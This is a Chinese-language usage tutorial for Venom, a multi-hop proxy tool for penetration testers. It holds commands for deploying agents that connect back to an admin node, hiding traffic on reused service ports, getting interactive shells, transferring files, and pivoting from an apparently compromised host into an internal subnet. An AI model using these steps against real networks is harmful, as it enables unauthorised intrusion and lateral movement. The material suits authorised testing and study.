Venom内网代理工具
<1> 工具介绍
Venom是一款为渗透测试人员设计的、使用Go开发的多级代理工具
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理
在内网渗透时,可将网络流量代理到多层内网
特性:
- 可视化网络拓扑
- 多级socks5代理
- 多级端口转发
- 端口复用 (apache/mysql/...)
- ssh隧道
- 交互式shell
- 文件的上传和下载
- 节点间通信加密
- 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
下载地址:https://github.com/Dliv3/Venom/
<2> 工具使用
(1) 监听与发起连接
admin节点和agent节点均可监听连接也可发起连接
服务端admin监听、客户端agent发起连接:
服务端:./admin_linux_x64 -lport 1111
客户端:./agent_linux_x64 -rhost 本机ip -rport 1111
客户端agent监听、服务端admin发起连接:
服务端:./admin_linux_x64 -rhost 本机ip -rport 1111
客户端:./agent_linux_x64 -lport 1111
(2) agent节点支持端口复用
agent提供了两种端口复用方法
- 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
- 通过iptables进行端口复用(仅支持Linux平台)
通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务
第一种端口复用:
# 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
第二种端口复用:
# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
这种端口复用方法会在本机设置iptables规则,将reuse-port
的流量转发到lport
,再由agent分发流量
需要注意一点,如果通过sigterm
,sigint
信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被kill -9
杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理sigkill
信号。
为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了iptables -m recent
通过特殊的tcp包控制iptables转发规则是否开启
# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 内网rhost --rport 80
# 连接agent节点
./admin_macos_x64 -rhost 内网rhost -rport 80
# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 内网rhost --rport 80
(3) admin结点命令
(admin node) >>> help
help # 打印使用帮助
exit # 退出
show # 显示网络拓扑
getdes # 显示 target结点的描述
setdes [info] # 添加对 target结点的描述
goto [id] # 选取一个要操作的 target结点.
listen [lport] # 在 target结点上监听一个端口
connect [rhost] [rport] # 通过 target结点连接一个新节点
sshconnect [user@ip:port] [dport] # 通过ssh隧道连接一个新节点
shell # 获取target节点的交互式shell
upload [local_file] [remote_file] # 上传文件到 target结点
download [remote_file] [local_file] # 从target结点下载文件
socks [lport] # 从target节点的lport端口建立一个socks5代理
lforward [lhost] [sport] [dport] # 将本地端口转发到远程
rforward [rhost] [sport] [dport] # 将远程端口转发到本地
goto 操作某节点、getdes/setdes 获取/设置节点信息描述
connect/listen 结点互连
(node 1) >>> listen 2222
另一台主机:./agent -rhost node1ip -rport 2222
另一台主机:./agent -lport 2222
(node 1) >>> connect 另一台主机ip 2222
socks 建立到某节点的socks5代理
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
rforward 将node1网段的192.168.200.1的80端口转发到admin节点本地的3333端口
(node 1) >>> rforward 192.168.200.1 80 3333
forward remote network 192.168.200.1 port 80 to local port 3333
(4) 多层网络环境 搭配proxifier使用
工具支持以节点为跳板,构建多级代理。
socks 建立到目标结点的socks5代理,然后 proxifier 搭配代理,即可访问目标内网其他主机
例如:
网络环境:我们拿下了外网可访问的 192.168.200.2主机,再其C段内 存活一台 192.168.200.1 直接访问不可
利用 venom + proxifier
然后利用 proxifier连接代理,将自己的访问 由代理转发出去
设置 Proxy Server
然后配置 Proxification Rules 代理解析规则
Target Hosts 为 192.168.200.1
即可将自己访问 192.168.200.1的请求通过服务器socks5代理转发过去
然后浏览器 输入 即可访问到内网主机开启的web服务